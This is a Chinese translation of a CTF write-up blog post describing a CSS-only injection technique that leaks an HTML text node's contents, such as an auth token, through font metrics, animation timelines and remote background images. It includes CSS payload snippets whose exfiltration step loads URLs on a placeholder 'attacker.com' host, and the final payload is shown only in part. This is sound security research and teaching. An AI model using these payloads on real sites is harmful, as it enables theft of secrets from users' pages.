Bench Press: 使用CSS泄露文本节点
摘要
本文介绍了一种CSS注入技术,该技术仅使用CSS即可泄露HTML文本节点的全部内容,并通过CTF挑战进行了演示。文章详细阐述了该方法及其限制条件。
<p><a href="https://lobste.rs/s/qyugm7/bench_press_leaking_text_nodes_with_css">评论</a></p>
查看缓存全文
缓存时间: 2026/07/05 20:34
# 卧推:利用 CSS 泄露文本节点
来源:https://blog.pspaul.de/posts/bench-press-leaking-text-nodes-with-css/
不久前,我在阅读关于新 CSS 特性的文章时,问了自己一个问题:**仅使用 CSS 能否泄露 HTML 文本节点的全部内容?**答案是:能!嗯……算是吧。我发现了一种大体上可以实现的技术,但最终会碰到 CSS 引擎的限制 🙃。不过,我有点话唠了……在调研过程中,我学到了许多关于 CSS 的新知识,非常喜欢,于是为 Hack.lu CTF 2024 设计了一道挑战题:[Bench Press](https://bench-press.online/)。在这篇博文中,我将以该挑战的解法为例,来实际演示我的新技术。
## 挑战
挑战的目标是从一个 `<script>` 标签中泄露认证令牌:`<script> 123456 </script>`
`t="01b275146755aac26d5b2c7821b7c3"`
我们唯一能控制的是 `?theme=` 查询参数:
```javascript
app.get('/articles/:slug', (req, res) => {
let theme = '';
if (typeof req.query.theme === 'string') {
theme = req.query.theme;
if (theme.includes('`')) {
theme = '';
}
}
// ...
res.send(renderPage(theme));
});
```
主题值会被插入到 `<style>` 标签中,从而实现了 CSS 注入!
```html
{{{theme}}}
```
对照内容安全策略(CSP)检查,情况看起来很有利:
- `style-src 'unsafe-inline'` —— 我们非常喜欢内联样式
- `img-src http: https:` —— 也欢迎远程图片
- `frame-ancestors 'none'` —— 不允许嵌套
- `base-uri 'none'` —— 不允许 `<base>`
- `form-action 'self'` —— 不允许奇怪的表单
- `default-src 'none'` —— 没有其他东西(也就是没有 JS)
- `sandbox allow-forms` —— 真的真的没有 JS(缺少 `allow-scripts`)
我们现在的处境归结为:**仅使用内联样式和远程图片来泄露文本节点的内容。**
## 现有技术不适用
在这种场景下,有多种已知的 CSS 注入技术可以帮助从 DOM 中窃取数据。然而,由于它们各自的要求和限制,没有任何一种适用。举几个例子:
- 使用递归 `@import` 进行增量泄露不可行,因为我们无法加载远程样式。
- 无法使用自定义连字字体,因为远程字体被阻止。
- 使用“包含”属性选择器泄露数据块也不适用,因为令牌不在属性中。
然而,有一些泄露文本节点*字符集*的技术符合我们的条件:
- 利用默认字体造成尺寸差异([参考](https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font))
- 利用默认字体造成时间差异([参考](https://book.hacktricks.xyz/pentesting-web/xs-search/css-injection#text-node-exfiltration-ii-leaking-the-charset-with-a-default-font-2))
时间侧信道通常较慢且可靠性低,所以我们选择尺寸差异法,看看能否对其进行改进。
## 前人成果:泄露字符集
为了检测文本节点中存在的字符,尺寸差异技术会遍历所有可能的字符。对于每个字符,应用一个特定的 `@font-face`,仅当当前字符存在时才匹配。这是通过 `unicode-range`([MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/unicode-range))描述符实现的。
为了判断当前字符是否存在,CSS 测量文本节点的高度差。如果该字符存在,字体就会生效,使文本节点变大。通过滚动条背景图检测高度差——仅当滚动条出现时,才会从远程加载该背景图。
使用 `::first-line` 伪选择器将文本的第一行设为可见(`font-size: 30px`),其余部分设为不可见(`font-size: 0px`)。这样可以避免文本换行并扰乱节点高度。
但还有一个问题:如果文本节点包含重复字符,不会为第二个字符触发额外的字体请求。例如,如果文本是 `LOL`,泄露过程如下:
1. 显示第 1 个字符(`L`),遍历可能的字符字体
1. 检查是否为 `L` 时,字体生效,文本变大
1. 检测到高度差,发送请求(`attacker.com/L`)
2. 显示前 2 个字符(`LO`),遍历可能的字符字体
1. 检查是否为 `L` 时,字体生效,文本变大
1. 不发送请求(字体已加载)
2. 检查是否为 `O` 时,字体生效,文本变大
1. 请求字体(`attacker.com/O`)
3. 显示前 3 个字符(`LOL`),遍历可能的字符字体
1. 检查是否为 `L` 时,字体生效,文本变大
1. 不发送请求(字体已加载)
2. 检查是否为 `O` 时,字体生效,文本变大
1. 不发送请求(字体已加载)
现在我们只知道文本以 `LO` 开头,后面可能还有更多 L 或 O。这对于我们的挑战来说很不幸,因为令牌是一个 30 字符的十六进制字符串,因此会有大量重复字符。那么有没有办法克服这个限制呢?
## 使用动画时间线测量高度
某天,我的队友 @realansgar([Twitter](https://twitter.com/realansgar))给我发了这篇博文:[如何仅用 CSS 获取任意元素的宽度/高度](https://frontendmasters.com/blog/how-to-get-the-width-height-of-any-element-in-only-css/)。你应该读一读以了解其底层原理,他们有漂亮的可视化演示!
使用其中描述的技术,我们现在可以测量任何 HTML 元素的高度/宽度,并将尺寸作为数值存入 CSS 变量:
```css
@property --y {
syntax: "<number>";
initial-value: 0;
inherits: true;
}
@property --h {
syntax: "<number>";
initial-value: 0;
inherits: true;
}
@keyframes y {
to { --y: 1 }
}
script {
overflow: auto;
position: relative;
&:before {
content: '';
position: absolute;
left: 0;
top: 0;
height: 1px;
view-timeline: --cy block;
}
animation: y linear;
timeline-scope: --cy;
animation-timeline: --cy;
animation-range: entry 100% exit 100%;
--h: calc(1/(1 - var(--y)));
}
```
这是一个关键成分,因为现在我们可以利用 `calc()` 等函数,**根据文本高度进行条件样式设置**!
## 计划
让我们将高度测量与之前的技术结合起来:
1. 使文本元素每行只显示一个字符
2. 为字母配置独特的高度
3. 逐步从文本中移除/隐藏字符
4. 计算两步之间的高度差,找出被移除的是哪个字符
5. 将字母泄露到我们的攻击服务器
步骤 1 很直接。要实现每行一个字符,我们可以使用等宽字体,设置固定宽度,并允许换行:
```css
script {
font-familiy: monospace;
width: 11px;
word-break: break-word;
white-space: break-spaces;
}
```
### 每个字母的独特高度
为了给每个字母赋予独一无二的高度,我们使用 `descent-override`([MDN](https://developer.mozilla.org/en-US/docs/Web/CSS/@font-face/descent-override)):
```css
@font-face {
font-family: has_A;
src: local('DejaVu Sans Mono');
unicode-range: U+41;
descent-override: 200%;
}
```
通过对所有可能的字符(此处为十六进制字符)重复此操作,我们可以赋予每个字母独特的高度。这样以后我们就可以将高度差映射到特定的字母。
### 逐步移除字母
现在我们可以将所有字母叠在一起,测量总高度。这当然没什么用,因此我们需要逐步移除字符,并测量高度差来知道是哪个字母被移除了。
为此,我们借鉴之前的另一个技巧:`::first-line`。通过持续减小文本第一行的字体大小,越来越多的字符会挤进第一行。我们还可以对第一行应用不同的字体,使其高度不随字母变化。
代码:
```css
@keyframes iterate {
from { --n: 0 }
to { --n: 30 }
}
@property --n {
syntax: '<integer>';
initial-value: 0;
inherits: true;
}
script::first-line {
font-family: base;
--clamped-n: max(2, var(--n, 2));
--width-per-char: 6;
--available-space: 11;
--space-required: calc(var(--clamped-n) * var(--width-per-char));
--mult: calc(var(--available-space) / var(--space-required));
font-size: calc(var(--font-size) * var(--mult));
line-height: 10px;
white-space: break-spaces;
}
```
### 计算高度差
要计算差值,我们需要旧值和新值。为此,我们可以利用动画关键帧中的赋值暂时缓存值([参考](https://dev.to/janeori/expert-css-the-cpu-hack-4ddj))。当总高度(`--h`)仍是初始值时,我们应用 `save` 动画,将当前值缓存为 `--old-h`。在下一次迭代中,我们计算差值(`calc(var(--old-h) - var(--h))`)。在进入下一次迭代之前,我们快速取消并重新应用 `save` 动画,以缓存当前高度。
这里只有一个问题:动画不能改变动画属性!因此,为了重新应用 `save` 动画,我们通过容器样式查询进行一次小的间接操作。另一个动画改变 `--do-save` 属性,容器样式查询检查该属性的值,并有条件地应用 `save` 动画:
```css
@keyframes enable-save {
0% { --do-save: 'y'; --do-send: 'n' }
50% { --do-save: 'y'; --do-send: 'y' }
100% { --do-save: 'n'; --do-send: 'n' }
}
@keyframes save {
from, to { --old-h: var(--h) }
}
@container style(--do-save: 'y') {
:root > :has(.leak) {
animation: save var(--time-per-char) 1;
}
}
```
### 泄露字母
现在我们有高度差,它对应某个字母的独特高度。但是这个值存储为数字,我们如何将它发送到服务器?我们将使用最后一个技巧(也与动画相关):暂停动画([参考](https://lea.verou.me/blog/2024/css-conditionals-now/#paused-animations))。通过改变暂停动画的延迟,我们可以选择不同的值。我们用它来选择与正确字母匹配的泄露 URL:
```css
script {
--anim-steps: 64;
--anim-time: calc(var(--anim-steps) * 1s);
--anim-delay: calc(var(--char-num) * -1s);
animation: exfil var(--anim-time) var(--anim-delay) steps(var(--anim-steps), jump-start) infinite paused;
background-image: image-set(var(--img-bits) 1x);
}
@property --anim-delay {
syntax: '<time>';
initial-value: 0s;
inherits: true;
}
@keyframes exfil {
0.0000% { --img-bits: '//attacker.com/0' }
1.5625% { --img-bits: '//attacker.com/1' }
3.1250% { --img-bits: '//attacker.com/2' }
/* ... 更多步骤 */
}
```
### 整合在一起
就是这样!结合所有这些步骤,我们现在可以仅使用内联 CSS(加上用于泄露的远程图片)来泄露任意文本节点的内容。你可以在本页末尾找到最终 payload。
## 局限性
最后,我们必须谈谈这项技术的局限性。
### 浮点数不精确
浮点数值在两个方面被使用:
1. 计算 `::first-line` 的字体大小
2. 计算元素的总高度
在两种情况下,由于浮点数的精度,Chrome 中的计算可能变得不精确,从而破坏泄露。字体大小和中间值(`--y`)可能变得非常小,以至于泄露会跳过某些步骤,因为有些值无法表示。这发生在泄露太多字符,或元素总高度变得太大时。这限制了该技术,但我相信这些限制是可以绕过的。
### 目前仅限 Chrome
目前,一些使用的 CSS 特性仅在基于 Chromium 的浏览器中可用:
| CSS 特性 | Chrome | Firefox | Safari |
|----------|--------|---------|--------|
| `timeline-scope` | >= 116 | - | - |
| `view-timeline` | >= 115 | - | - |
| `animation-timeline` | >= 115 | - | - |
| `animation-range` | >= 115 | - | - |
| `descent-override` | >= 87 | >= 89 | - |
| `@container style(--custom: 1) { }` | >= 111 | - | >= 18 |
随着时间的推移,这可能会改善,但如果你找到更兼容的方式来实现相同目标,请告诉我!
### 本地字体
由于该技术依赖于本地可用的字体,因此需要相应地进行校准。对于挑战的解法,我必须检查可用字体,选择其中之一,并测量其字符的宽高比。这或许可以在 CSS 中完成,至少对于常见字体名称列表来说,所以我可能稍后会将其添加到 payload 中。
### 速度
最大泄露速度取决于浏览器动画内部机制。速度增加太多可能导致动画帧被跳过,破坏泄露。很难找到一种通用设置,但每个字符 500ms 应该是一个安全的默认值。
## 总结
真是一趟奇妙的旅程!我觉得现代 CSS 能做到的事情非常有趣。随着 XSS 缓解措施在应用端和浏览器/规范端的兴起,CSS 成为客户端 Web 利用中越来越有用的工具。像 DOMPurify 这样的清理器默认仍然允许任意样式,但也许将来会改变。
希望你喜欢这项新技术!如果你遇到问题或找到改进方法,请在 [Twitter](https://twitter.com/pspaul95) 或 [Mastodon](https://infosec.exchange/@pspaul) 上告诉我。我将在未来几天发布一个 GitHub 仓库,包含所有细节和用于生成 payload 的工具。
---
## 最终 payload
```css
:root {
--chars: 30;
--prefix-len: 3;
--delay: 1s;
--time-per-char: 500ms;
}
:root {
--iterations: calc(var(--chars) + 1);
--n: var(--prefix-len);
animation: iterate calc(var(--iterations) * var(--time-per-char)) var(--delay) steps(var(--iterations)) 1 forwards,
enable-save var(--time-per-char) var(--delay) steps(3, jump-end) var(--iterations),
y linear;
timeline-scope: --cy;
animation-timeline: a
}
```
*注意:由于代码块包含重要内容,上述仅展示了 payload 的开头部分。完整 payload 请参考原文末尾。*
相似文章
CSS:不可避免的坏部分
一位非Web开发者的个人博客文章讨论了CSS中不可避免的坏部分,包括布局难题、浏览器默认设置和过度使用包装器,同时强调了可处理简单任务的子集。
好吧,那我就自己造个文本编辑器
作者描述了构建自定义文本编辑器的过程,实验了canvas、contenteditable和textarea等方法,并讨论了Web开发中的性能和可访问性等挑战。
修复全宽CSS
一位前端开发者讨论了经典CSS全宽辅助类的缺陷,并提出了使用CSS容器和容器单位的现代修复方法,以避免与滚动条相关的裁剪问题。
标签名中的奥秘?原来是JavaScript
PortSwigger的研究文章展示了利用HTML标签名中的JavaScript属性进行新的XSS攻击向量,使WAF绕过在不同浏览器中成为可能。
CSS历史趣闻
本文探讨了历史上的CSS技巧和怪癖,详述了早期网页开发中使用的浏览器特定利用方法,例如属性解析和文档级别的检测方法。